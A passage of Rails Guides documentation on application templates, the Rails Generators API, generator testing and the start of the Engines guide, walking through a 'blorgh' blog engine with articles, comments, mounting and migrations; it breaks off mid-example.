  devise_model = ask("What would you like the user model to be called?", default: "User")
end

after_bundle do
  if devise_model
    generate "devise:install"
    generate "devise", devise_model
    rails_command "db:migrate"
  end

  git add: ".", commit: %(-m 'Initial commit')
end
```

To apply this template while creating a new Rails application, you need to provide the location of the template using the `-m` option:

```
$ rails new blog -m ~/template.rb
```

The above will create a new Rails application called `blog` that has Devise gem configured.

You can also apply templates to an existing Rails application by using `app:template` command. The location of the template needs to be passed in via the `LOCATION` environment variable:

```
$ bin/rails app:template LOCATION=~/template.rb
```

Templates don't have to be stored locally, you can also specify a URL instead of a path:

```
$ rails new blog -m https://example.com/template.rb
$ bin/rails app:template LOCATION=https://example.com/template.rb
```

Caution should be taken when executing remote scripts from third parties. Since the template is a plain Ruby script, it can easily contain code that compromises your local machine (such as download a virus, delete files or upload your private files to a server).

The above `template.rb` file uses helper methods such as `after_bundle` and `rails_command` and also adds user interactivity with methods like `yes?`. All of these methods are part of the [Rails Template API](https://edgeapi.rubyonrails.org/classes/Rails/Generators/Actions.html). The following sections shows how to use more of these methods with examples.

## [6. Rails Generators API](#rails-generators-api)

Generators and the template Ruby scripts have access to several helper methods using a [DSL](https://en.wikipedia.org/wiki/Domain-specific_language) (Domain Specific Language). These methods are part of the Rails Generators API and you can find more details at [`Thor::Actions`](https://www.rubydoc.info/gems/thor/Thor/Actions) and [`Rails::Generators::Actions`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Actions.html) API documentation.

Here's another example of a typical Rails template that scaffolds a model, runs migrations, and commits the changes with git:

```
# template.rb
generate(:scaffold, "person name:string")
route "root to: 'people#index'"
rails_command("db:migrate")

after_bundle do
  git :init
  git add: "."
  git commit: %Q{ -m 'Initial commit' }
end
```

All code snippets in the examples below can be used in a template file, such as the `template.rb` file above.

### [6.1. add\_source](#add-source)

The [`add_source`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Actions.html#method-i-add_source) method adds the given source to the generated application's `Gemfile`.

```
add_source "https://rubygems.org"
```

If a block is given, gem entries in the block are wrapped into the source group. For example, if you need to source a gem from `"http://gems.github.com"`:

```
add_source "http://gems.github.com/" do
  gem "rspec-rails"
end
```

### [6.2. after\_bundle](#after-bundle)

The [`after_bundle`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/AppGenerator.html#method-i-after_bundle) method registers a callback to be executed after the gems are bundled. For example, it would make sense to run the "install" command for `tailwindcss-rails` and `devise` only after those gems are bundled:

```
# Install gems
after_bundle do
  # Install TailwindCSS
  rails_command "tailwindcss:install"

  # Install Devise
  generate "devise:install"
end
```

The callbacks get executed even if `--skip-bundle` has been passed.

### [6.3. environment](#environment)

The [`environment`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Actions.html#method-i-environment) method adds a line inside the `Application` class for `config/application.rb`. If `options[:env]` is specified, the line is appended to the corresponding file in `config/environments`.

```
environment 'config.action_mailer.default_url_options = {host: "http://yourwebsite.example.com"}', env: "production"
```

The above will add the config line to `config/environments/production.rb`.

### [6.4. gem](#gem)

The [`gem`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Actions.html#method-i-gem) helper adds an entry for the given gem to the generated application's `Gemfile`.

For example, if your application depends on the gems `devise` and `tailwindcss-rails`:

```
gem "devise"
gem "tailwindcss-rails"
```

Note that this method only adds the gem to the `Gemfile`, it does not install the gem.

You can also specify an exact version:

```
gem "devise", "~> 4.9.4"
```

And you can also add comments that will be added to the `Gemfile`:

```
gem "devise", comment: "Add devise for authentication."
```

### [6.5. gem\_group](#gem-group)

The [`gem_group`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Actions.html#method-i-gem_group) helper wraps gem entries inside a group. For example, to load `rspec-rails` only in the `development` and `test` groups:

```
gem_group :development, :test do
  gem "rspec-rails"
end
```

### [6.6. generate](#generate)

You can even call a generator from inside a `template.rb` with the [`generate`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Actions.html#method-i-generate) method. The following runs the `scaffold` rails generator with the given arguments:

```
generate(:scaffold, "person", "name:string", "address:text", "age:number")
```

### [6.7. git](#git)

Rails templates let you run any git command with the [`git`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Actions.html#method-i-git) helper:

```
git :init
git add: "."
git commit: "-a -m 'Initial commit'"
```

### [6.8. initializer, vendor, lib, file](#initializer-vendor-lib-file)

The [`initializer`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Actions.html#method-i-initializer) helper method adds an initializer to the generated application's `config/initializers` directory.

After adding the below to the `template.rb` file, you can use `Object#not_nil?` and `Object#not_blank?` in your application:

```
initializer "not_methods.rb", <<-CODE
  class Object
    def not_nil?
      !nil?
    end

    def not_blank?
      !blank?
    end
  end
CODE
```

Similarly, the [`lib`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Actions.html#method-i-lib) method creates a file in the `lib/` directory and [`vendor`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Actions.html#method-i-vendor) method creates a file in the `vendor/` directory.

There is also a `file` method (which is an alias for [`create_file`](https://www.rubydoc.info/gems/thor/Thor/Actions#create_file-instance_method)), which accepts a relative path from `Rails.root` and creates all the directories and files needed:

```
file "app/components/foo.rb", <<-CODE
  class Foo
  end
CODE
```

The above will create the `app/components` directory and put `foo.rb` in there.

### [6.9. rakefile](#rakefile)

The [`rakefile`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Actions.html#method-i-rakefile) method creates a new Rake file under `lib/tasks` with the given tasks:

```
rakefile("bootstrap.rake") do
  <<-TASK
    namespace :boot do
      task :strap do
        puts "I like boots!"
      end
    end
  TASK
end
```

The above creates `lib/tasks/bootstrap.rake` with a `boot:strap` rake task.

### [6.10. run](#run)

The [`run`](https://www.rubydoc.info/gems/thor/Thor/Actions#run-instance_method) method executes an arbitrary command. Let's say you want to remove the `README.rdoc` file:

```
run "rm README.rdoc"
```

### [6.11. rails\_command](#rails-command)

You can run the Rails commands in the generated application with the [`rails_command`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Actions.html#method-i-rails_command) helper. Let's say you want to migrate the database at some point in the template ruby script:

```
rails_command "db:migrate"
```

Commands can be run with a different Rails environment:

```
rails_command "db:migrate", env: "production"
```

You can also run commands that should abort application generation if they fail:

```
rails_command "db:migrate", abort_on_failure: true
```

### [6.12. route](#route)

The [`route`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Actions.html#method-i-route) method adds an entry to the `config/routes.rb` file. To make `PeopleController#index` the default page for the application, we can add:

```
route "root to: 'person#index'"
```

There are also many helper methods that can manipulate the local file system, such as [`copy_file`](https://www.rubydoc.info/gems/thor/Thor/Actions#copy_file-instance_method), [`create_file`](https://www.rubydoc.info/gems/thor/Thor/Actions#create_file-instance_method), [`insert_into_file`](https://www.rubydoc.info/gems/thor/Thor/Actions#insert_into_file-instance_method), and [`inside`](https://www.rubydoc.info/gems/thor/Thor/Actions#inside-instance_method). You can see the [Thor API documentation](https://www.rubydoc.info/gems/thor/Thor/Actions) for details. Here is an example of one such method:

### [6.13. inside](#inside)

This [`inside`](https://www.rubydoc.info/gems/thor/Thor/Actions#inside-instance_method) method enables you to run a command from a given directory. For example, if you have a copy of edge rails that you wish to symlink from your new apps, you can do this:

```
inside("vendor") do
  run "ln -s ~/my-forks/rails rails"
end
```

There are also methods that allow you to interact with the user from the Ruby template, such as [`ask`](https://www.rubydoc.info/gems/thor/Thor/Shell/Basic#ask-instance_method), [`yes`](https://www.rubydoc.info/gems/thor/Thor/Shell/Basic#yes%3F-instance_method), and [`no`](https://www.rubydoc.info/gems/thor/Thor/Shell/Basic#no%3F-instance_method). You can learn about all user interactivity methods in the [Thor Shell documentation](https://www.rubydoc.info/gems/thor/Thor/Shell/Basic). Let's see examples of using `ask`, `yes?` and `no?`:

### [6.14. ask](#ask)

The [`ask`](https://www.rubydoc.info/gems/thor/Thor/Shell/Basic#ask-instance_method) methods allows you to get feedback from the user and use it in your templates. Let's say you want your user to name the new shiny library you're adding:

```
lib_name = ask("What do you want to call the shiny library?")
lib_name << ".rb" unless lib_name.index(".rb")

lib lib_name, <<-CODE
  class Shiny
  end
CODE
```

### [6.15. yes? or no?](#yes-questionmark-or-no-questionmark)

These methods let you ask questions from templates and decide the flow based on the user's answer. Let's say you want to prompt the user to run migrations:

```
rails_command("db:migrate") if yes?("Run database migrations?")
# no? questions acts the opposite of yes?
```

## [7. Testing Generators](#testing-generators)

Rails provides testing helper methods via [`Rails::Generators::Testing::Behavior`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Testing/Behavior.html), such as:

* [`run_generator`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Testing/Behavior.html#method-i-run_generator)

If running tests against generators you will need to set `RAILS_LOG_TO_STDOUT=true` in order for debugging tools to work.

```
RAILS_LOG_TO_STDOUT=true ./bin/test test/generators/actions_test.rb
```

In addition to those, Rails also provides additional assertions via [`Rails::Generators::Testing::Assertions`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Testing/Assertions.html).

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/engines.html
----

***

## [1. What are Engines?](#what-are-engines-questionmark)

Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the `Rails::Application` class inheriting a lot of its behavior from `Rails::Engine`.

Therefore, engines and applications can be thought of as almost the same thing, just with subtle differences, as you'll see throughout this guide. Engines and applications also share a common structure.

Engines are also closely related to plugins. The two share a common `lib` directory structure, and are both generated using the `rails plugin new` generator. The difference is that an engine is considered a "full plugin" by Rails (as indicated by the `--full` option that's passed to the generator command). We'll actually be using the `--mountable` option here, which includes all the features of `--full`, and then some. This guide will refer to these "full plugins" simply as "engines" throughout. An engine **can** be a plugin, and a plugin **can** be an engine.

The engine that will be created in this guide will be called "blorgh". This engine will provide blogging functionality to its host applications, allowing for new articles and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application.

Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as `articles_path` and use an engine that also provides a path also called `articles_path`, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide.

It's important to keep in mind at all times that the application should **always** take precedence over its engines. An application is the object that has final say in what goes on in its environment. The engine should only be enhancing it, rather than changing it drastically.

To see demonstrations of other engines, check out [Devise](https://github.com/plataformatec/devise), an engine that provides authentication for its parent applications, or [Thredded](https://github.com/thredded/thredded), an engine that provides forum functionality. There's also [Spree](https://github.com/spree/spree) which provides an e-commerce platform, and [Refinery CMS](https://github.com/refinery/refinerycms), a CMS engine.

Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!

## [2. Generating an Engine](#generating-an-engine)

To generate an engine, you will need to run the plugin generator and pass it options as appropriate to the need. For the "blorgh" example, you will need to create a "mountable" engine, running this command in a terminal:

```
$ rails plugin new blorgh --mountable
```

The full list of options for the plugin generator may be seen by typing:

```
$ rails plugin --help
```

The `--mountable` option tells the generator that you want to create a "mountable" and namespace-isolated engine. This generator will provide the same skeleton structure as would the `--full` option. The `--full` option tells the generator that you want to create an engine, including a skeleton structure that provides the following:

* An `app` directory tree

* A `config/routes.rb` file:

  ```
  Rails.application.routes.draw do
  end
  ```

* A file at `lib/blorgh/engine.rb`, which is identical in function to a standard Rails application's `config/application.rb` file:

  ```
  module Blorgh
    class Engine < ::Rails::Engine
    end
  end
  ```

The `--mountable` option will add to the `--full` option:

* Asset manifest files (`blorgh_manifest.js` and `application.css`)

* A namespaced `ApplicationController` stub

* A namespaced `ApplicationHelper` stub

* A layout view template for the engine

* Namespace isolation to `config/routes.rb`:

  ```
  Blorgh::Engine.routes.draw do
  end
  ```

* Namespace isolation to `lib/blorgh/engine.rb`:

  ```
  module Blorgh
    class Engine < ::Rails::Engine
      isolate_namespace Blorgh
    end
  end
  ```

Additionally, the `--mountable` option tells the generator to mount the engine inside the dummy testing application located at `test/dummy` by adding the following to the dummy application's routes file at `test/dummy/config/routes.rb`:

```
mount Blorgh::Engine => "/blorgh"
```

### [2.1. Inside an Engine](#inside-an-engine)

#### [2.1.1. Critical Files](#critical-files)

At the root of this brand new engine's directory lives a `blorgh.gemspec` file. When you include the engine into an application later on, you will do so with this line in the Rails application's `Gemfile`:

```
gem "blorgh", path: "engines/blorgh"
```

Don't forget to run `bundle install` as usual. By specifying it as a gem within the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file and requiring a file within the `lib` directory called `lib/blorgh.rb`. This file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) and defines a base module called `Blorgh`.

```
require "blorgh/engine"

module Blorgh
end
```

Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, so if you want to offer configuration options, the file where your engine's `module` is defined is perfect for that. Place the methods inside the module and you'll be good to go.

Within `lib/blorgh/engine.rb` is the base class for the engine:

```
module Blorgh
  class Engine < ::Rails::Engine
    isolate_namespace Blorgh
  end
end
```

By inheriting from the `Rails::Engine` class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the `app` directory of the engine to the load path for models, mailers, controllers, and views.

The `isolate_namespace` method here deserves special notice. This call is responsible for isolating the controllers, models, routes, and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts is helpers. Without calling `isolate_namespace`, the engine's helpers would be included in an application's controllers.

It is **highly** recommended that the `isolate_namespace` line be left within the `Engine` class definition. Without it, classes generated in an engine **may** conflict with an application.

What this isolation of the namespace means is that a model generated by a call to `bin/rails generate model`, such as `bin/rails generate model article`, won't be called `Article`, but instead be namespaced and called `Blorgh::Article`. In addition, the table for the model is namespaced, becoming `blorgh_articles`, rather than simply `articles`. Similar to the model namespacing, a controller called `ArticlesController` becomes `Blorgh::ArticlesController` and the views for that controller will not be at `app/views/articles`, but `app/views/blorgh/articles` instead. Mailers, jobs and helpers are namespaced as well.

Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the [Routes](#routes) section of this guide.

#### [2.1.2. `app` Directory](#app-directory)

Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, `jobs`, `mailers`, `models`, and `views` directories that you should be familiar with from an application. We'll look more into models in a future section, when we're writing the engine.

Within the `app/assets` directory, there are the `images` and `stylesheets` directories which, again, you should be familiar with due to their similarity to an application. One difference here, however, is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too.

Within the `app/controllers` directory there is a `blorgh` directory that contains a file called `application_controller.rb`. This file will provide any common functionality for the controllers of the engine. The `blorgh` directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application.

The `ApplicationController` class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines.

Just like for `app/controllers`, you will find a `blorgh` subdirectory under the `app/helpers`, `app/jobs`, `app/mailers` and `app/models` directories containing the associated `application_*.rb` file for gathering common functionalities. By placing your files under this subdirectory and namespacing your objects, you prevent them from possibly clashing with identically-named elements within other engines or even within the application.

Lastly, the `app/views` directory contains a `layouts` folder, which contains a file at `blorgh/application.html.erb`. This file allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's `app/views/layouts/application.html.erb` file.

If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine.

#### [2.1.3. `bin` Directory](#bin-directory)

This directory contains one file, `bin/rails`, which enables you to use the `rails` sub-commands and generators just like you would within an application. This means that you will be able to generate new controllers and models for this engine very easily by running commands like this:

```
$ bin/rails generate model
```

Keep in mind, of course, that anything generated with these commands inside of an engine that has `isolate_namespace` in the `Engine` class will be namespaced.

#### [2.1.4. `test` Directory](#test-directory)

The `test` directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at `test/dummy`. This application will mount the engine in the `test/dummy/config/routes.rb` file:

```
Rails.application.routes.draw do
  mount Blorgh::Engine => "/blorgh"
end
```

This line mounts the engine at the path `/blorgh`, which will make it accessible through the application only at that path.

Inside the test directory there is the `test/integration` directory, where integration tests for the engine should be placed. Other directories can be created in the `test` directory as well. For example, you may wish to create a `test/models` directory for your model tests.

## [3. Providing Engine Functionality](#providing-engine-functionality)

The engine that this guide covers provides submitting articles and commenting functionality and follows a similar thread to the [Getting Started Guide](getting_started.html), with some new twists.

For this section, make sure to run the commands in the root of the `blorgh` engine's directory.

### [3.1. Generating an Article Resource](#generating-an-article-resource)

The first thing to generate for a blog engine is the `Article` model and related controller. To quickly generate this, you can use the Rails scaffold generator.

```
$ bin/rails generate scaffold article title:string text:text
```

This command will output this information:

```
invoke  active_record
create    db/migrate/[timestamp]_create_blorgh_articles.rb
create    app/models/blorgh/article.rb
invoke    test_unit
create      test/models/blorgh/article_test.rb
create      test/fixtures/blorgh/articles.yml
invoke  resource_route
 route    resources :articles
invoke  scaffold_controller
create    app/controllers/blorgh/articles_controller.rb
invoke    erb
create      app/views/blorgh/articles
create      app/views/blorgh/articles/index.html.erb
create      app/views/blorgh/articles/edit.html.erb
create      app/views/blorgh/articles/show.html.erb
create      app/views/blorgh/articles/new.html.erb
create      app/views/blorgh/articles/_form.html.erb
create      app/views/blorgh/articles/_article.html.erb
invoke    resource_route
invoke    test_unit
create      test/controllers/blorgh/articles_controller_test.rb
create      test/system/blorgh/articles_test.rb
invoke    helper
create      app/helpers/blorgh/articles_helper.rb
invoke      test_unit
```

The first thing that the scaffold generator does is invoke the `active_record` generator, which generates a migration and a model for the resource. Note here, however, that the migration is called `create_blorgh_articles` rather than the usual `create_articles`. This is due to the `isolate_namespace` method called in the `Blorgh::Engine` class's definition. The model here is also namespaced, being placed at `app/models/blorgh/article.rb` rather than `app/models/article.rb` due to the `isolate_namespace` call within the `Engine` class.

Next, the `test_unit` generator is invoked for this model, generating a model test at `test/models/blorgh/article_test.rb` (rather than `test/models/article_test.rb`) and a fixture at `test/fixtures/blorgh/articles.yml` (rather than `test/fixtures/articles.yml`).

After that, a line for the resource is inserted into the `config/routes.rb` file for the engine. This line is simply `resources :articles`, turning the `config/routes.rb` file for the engine into this:

```
Blorgh::Engine.routes.draw do
  resources :articles
end
```

Note here that the routes are drawn upon the `Blorgh::Engine` object rather than the `YourApp::Application` class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the [test directory](#test-directory) section. It also causes the engine's routes to be isolated from those routes that are within the application. The [Routes](#routes) section of this guide describes it in detail.

Next, the `scaffold_controller` generator is invoked, generating a controller called `Blorgh::ArticlesController` (at `app/controllers/blorgh/articles_controller.rb`) and its related views at `app/views/blorgh/articles`. This generator also generates tests for the controller (`test/controllers/blorgh/articles_controller_test.rb` and `test/system/blorgh/articles_test.rb`) and a helper (`app/helpers/blorgh/articles_helper.rb`).

Everything this generator has created is neatly namespaced. The controller's class is defined within the `Blorgh` module:

```
module Blorgh
  class ArticlesController < ApplicationController
    # ...
  end
end
```

The `ArticlesController` class inherits from `Blorgh::ApplicationController`, not the application's `ApplicationController`.

The helper inside `app/helpers/blorgh/articles_helper.rb` is also namespaced:

```
module Blorgh
  module ArticlesHelper
    # ...
  end
end
```

This helps prevent conflicts with any other engine or application that may have an article resource as well.

You can see what the engine has so far by running `bin/rails db:migrate` at the root of our engine to run the migration generated by the scaffold generator, and then running `bin/rails server` in `test/dummy`. When you open `http://localhost:3000/blorgh/articles` you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions.

If you'd rather play around in the console, `bin/rails console` will also work just like a Rails application. Remember: the `Article` model is namespaced, so to reference it you must call it as `Blorgh::Article`.

```
irb> Blorgh::Article.find(1)
=> #<Blorgh::Article id: 1 ...>
```

One final thing is that the `articles` resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of articles. This can be made to happen if this line is inserted into the `config/routes.rb` file inside the engine:

```
root to: "articles#index"
```

Now people will only need to go to the root of the engine to see all the articles, rather than visiting `/articles`. This means that instead of `http://localhost:3000/blorgh/articles`, you only need to go to `http://localhost:3000/blorgh` now.

### [3.2. Generating a Comments Resource](#generating-a-comments-resource)

Now that the engine can create new articles, it only makes sense to add commenting functionality as well. To do this, you'll need to generate a comment model, a comment controller, and then modify the articles scaffold to display comments and allow people to create new ones.

From the engine root, run the model generator. Tell it to generate a `Comment` model, with the related table having two columns: an `article` references column and `text` text column.

```
$ bin/rails generate model Comment article:references text:text
```

This will output the following:

```
invoke  active_record
create    db/migrate/[timestamp]_create_blorgh_comments.rb
create    app/models/blorgh/comment.rb
invoke    test_unit
create      test/models/blorgh/comment_test.rb
create      test/fixtures/blorgh/comments.yml
```

This generator call will generate just the necessary model files it needs, namespacing the files under a `blorgh` directory and creating a model class called `Blorgh::Comment`. Now run the migration to create our blorgh\_comments table:

```
$ bin/rails db:migrate
```

To show the comments on an article, edit `app/views/blorgh/articles/show.html.erb` and add this line before the "Edit" link:

```
<h3>Comments</h3>
<%= render @article.comments %>
```

This line will require there to be a `has_many` association for comments defined on the `Blorgh::Article` model, which there isn't right now. To define one, open `app/models/blorgh/article.rb` and add this line into the model:

```
has_many :comments
```

Turning the model into this:

```
module Blorgh
  class Article < ApplicationRecord
    has_many :comments
  end
end
```

Because the `has_many` is defined inside a class that is inside the `Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` model for these objects, so there's no need to specify that using the `:class_name` option here.

Next, there needs to be a form so that comments can be created on an article. To add this, put this line underneath the call to `render @article.comments` in `app/views/blorgh/articles/show.html.erb`:

```
<%= render "blorgh/comments/form" %>
```

Next, the partial that this line will render needs to exist. Create a new directory at `app/views/blorgh/comments` and in it a new file called `_form.html.erb` which has this content to create the required partial:

```
<h3>New comment</h3>
<%= form_with model: [@article, @article.comments.build] do |form| %>
  <p>
    <%= form.label :text %><br>
    <%= form.textarea :text %>
  </p>
  <%= form.submit %>
<% end %>
```

When this form is submitted, it is going to attempt to perform a `POST` request to a route of `/articles/:article_id/comments` within the engine. This route doesn't exist at the moment, but can be created by changing the `resources :articles` line inside `config/routes.rb` into these lines:

```
resources :articles do
  resources :comments
end
```

This creates a nested route for the comments, which is what the form requires.

The route now exists, but the controller that this route goes to does not. To create it, run this command from the engine root:

```
$ bin/rails generate controller comments
```

This will generate the following things:

```
create  app/controllers/blorgh/comments_controller.rb
invoke  erb
 exist    app/views/blorgh/comments
invoke  test_unit
create    test/controllers/blorgh/comments_controller_test.rb
invoke  helper
create    app/helpers/blorgh/comments_helper.rb
invoke    test_unit
```

The form will be making a `POST` request to `/articles/:article_id/comments`, which will correspond with the `create` action in `Blorgh::CommentsController`. This action needs to be created, which can be done by putting the following lines inside the class definition in `app/controllers/blorgh/comments_controller.rb`:

```
def create
  @article = Article.find(params[:article_id])
  @comment = @article.comments.create(comment_params)
  flash[:notice] = "Comment has been created!"
  redirect_to articles_path
end

private
  def comment_params
    params.expect(comment: [:text])
  end
```

This is the final step required to get the new comment form working. Displaying the comments, however, is not quite right yet. If you were to create a comment right now, you would see this error:

```
Missing partial blorgh/comments/_comment with {:handlers=>[:erb, :builder],
:formats=>[:html], :locale=>[:en, :en]}. Searched in:   *
"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"   *
"/Users/ryan/Sites/side_projects/blorgh/app/views"
```

The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (`test/dummy`) `app/views` directory and then in the engine's `app/views` directory. When it can't find it, it will throw this error. The engine knows to look for `blorgh/comments/_comment` because the model object it is receiving is from the `Blorgh::Comment` class.

This partial will be responsible for rendering just the comment text, for now. Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this line inside it:

```
<%= comment_counter + 1 %>. <%= comment.text %>
```

The `comment_counter` local variable is given to us by the `<%= render @article.comments %>` call, which will define it automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.

That completes the comment function of the blogging engine. Now it's time to use it within an application.

## [4. Hooking Into an Application](#hooking-into-an-application)

Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a `User` class provided by the application to provide ownership for articles and comments within the engine.

### [4.1. Mounting the Engine](#mounting-the-engine)

First, the engine needs to be specified inside the application's `Gemfile`. If there isn't an application handy to test this out in, generate one using the `rails new` command outside of the engine directory like this:

```
$ rails new unicorn
```

Usually, specifying the engine inside the `Gemfile` would be done by specifying it as a normal, everyday gem.

```
gem "devise"
```

However, because you are developing the `blorgh` engine on your local machine, you will need to specify the `:path` option in your `Gemfile`:

```
gem "blorgh", path: "engines/blorgh"
```

Then run `bundle` to install the gem.

As described earlier, by placing the gem in the `Gemfile` it will be loaded when Rails is loaded. It will first require `lib/blorgh.rb` from the engine, then `lib/blorgh/engine.rb`, which is the file that defines the major pieces of functionality for the engine.

To make the engine's functionality accessible from within an application, it needs to be mounted in that application's `config/routes.rb` file:

```
mount Blorgh::Engine, at: "/blog"
```

This line will mount the engine at `/blog` in the application. Making it accessible at `http://localhost:3000/blog` when the application runs with `bin/rails server`.

Other engines, such as Devise, handle this a little differently by making you specify custom helpers (such as `devise_for`) in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.

### [4.2. Engine Setup](#engine-setup)

The engine contains migrations for the `blorgh_articles` and `blorgh_comments` table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application run the following command from the application's root:

```
$ bin/rails blorgh:install:migrations
```

If you have multiple engines that need migrations copied over, use `railties:install:migrations` instead:

```
$ bin/rails railties:install:migrations
```

You can specify a custom path in the source engine for the migrations by specifying MIGRATIONS\_PATH.

```
$ bin/rails railties:install:migrations MIGRATIONS_PATH=db_blourgh
```

If you have multiple databases you can also specify the target database by specifying DATABASE.

```
$ bin/rails railties:install:migrations DATABASE=animals
```

This command, when run for the first time, will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this:

```
Copied migration [timestamp_1]_create_blorgh_articles.blorgh.rb from blorgh
Copied migration [timestamp_2]_create_blorgh_comments.blorgh.rb from blorgh
```

The first timestamp (`[timestamp_1]`) will be the current time, and the second timestamp (`[timestamp_2]`) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.

To run these migrations within the context of the application, simply run `bin/rails db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the articles will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine.

If you would like to run migrations only from one engine, you can do it by specifying `SCOPE`:

```
$ bin/rails db:migrate SCOPE=blorgh
```

This may be useful if you want to revert engine's migrations before removing it. To revert all migrations from blorgh engine you can run code such as:

```
$ bin/rails db:migrate SCOPE=blorgh VERSION=0
```

### [4.3. Using a Class Provided by the Application](#using-a-class-provided-by-the-application)

#### [4.3.1. Using a Model Provided by the Application](#using-a-model-provided-by-the-application)

When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the `blorgh` engine, making articles and comments have authors would make a lot of sense.

A typical application might have a `User` class that would be used to represent authors for an article or a comment. But there could be a case where the application calls this class something different, such as `Person`. For this reason, the engine should not hardcode associations specifically for a `User` class.

To keep it simple in this case, the application will have a class called `User` that represents the users of the application (we'll get into making this configurable further on). It can be generated using this command inside the application:

```
$ bin/rails generate model user name:string
```

The `bin/rails db:migrate` command needs to be run here to ensure that our application has the `users` table for future use.

Also, to keep it simple, the articles form will have a new text field called `author_name`, where users can elect to put their name. The engine will then take this name and either create a new `User` object from it, or find one that already has that name. The engine will then associate the article with the found or created `User` object.

First, the `author_name` text field needs to be added to the `app/views/blorgh/articles/_form.html.erb` partial inside the engine. This can be added above the `title` field with this code:

```
<div class="field">
  <%= form.label :author_name %><br>
  <%= form.text_field :author_name %>
</div>
```

Next, we need to update our `Blorgh::ArticlesController#article_params` method to permit the new form parameter:

```
def article_params
  params.expect(article: [:title, :text, :author_name])
end
```

The `Blorgh::Article` model should then have some code to convert the `author_name` field into an actual `User` object and associate it as that article's `author` before the article is saved. It will also need to have an `attr_accessor` set up for this field, so that the setter and getter methods are defined for it.

To do all this, you'll need to add the `attr_accessor` for `author_name`, the association for the author and the `before_validation` call into `app/models/blorgh/article.rb`. The `author` association will be hard-coded to the `User` class for the time being.

```
attr_accessor :author_name
belongs_to :author, class_name: "User"

before_validation :set_author

private
  def set_author
    self.author = User.find_or_create_by(name: author_name)
  end
```

By representing the `author` association's object with the `User` class, a link is established between the engine and the application. There needs to be a way of associating the records in the `blorgh_articles` table with the records in the `users` table. Because the association is called `author`, there should be an `author_id` column added to the `blorgh_articles` table.

To generate this new column, run this command within the engine:

```
$ bin/rails generate migration add_author_id_to_blorgh_articles author_id:integer
```

Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this.

This migration will need to be run on the application. To do that, it must first be copied using this command:

```
$ bin/rails blorgh:install:migrations
```

Notice that only *one* migration was copied over here. This is because the first two migrations were copied over the first time this command was run.

```
NOTE Migration [timestamp]_create_blorgh_articles.blorgh.rb from blorgh has been skipped. Migration with the same name already exists.
NOTE Migration [timestamp]_create_blorgh_comments.blorgh.rb from blorgh has been skipped. Migration with the same name already exists.
Copied migration [timestamp]_add_author_id_to_blorgh_articles.blorgh.rb from blorgh
```

Run the migration using:

```
$ bin/rails db:migrate
```

Now with all the pieces in place, an action will take place that will associate an author - represented by a record in the `users` table - with an article, represented by the `blorgh_articles` table from the engine.

Finally, the author's name should be displayed on the article's page. Add this code above the "Title" output inside `app/views/blorgh/articles/_article.html.erb`:

```
<p>
  <strong>Author:</strong>
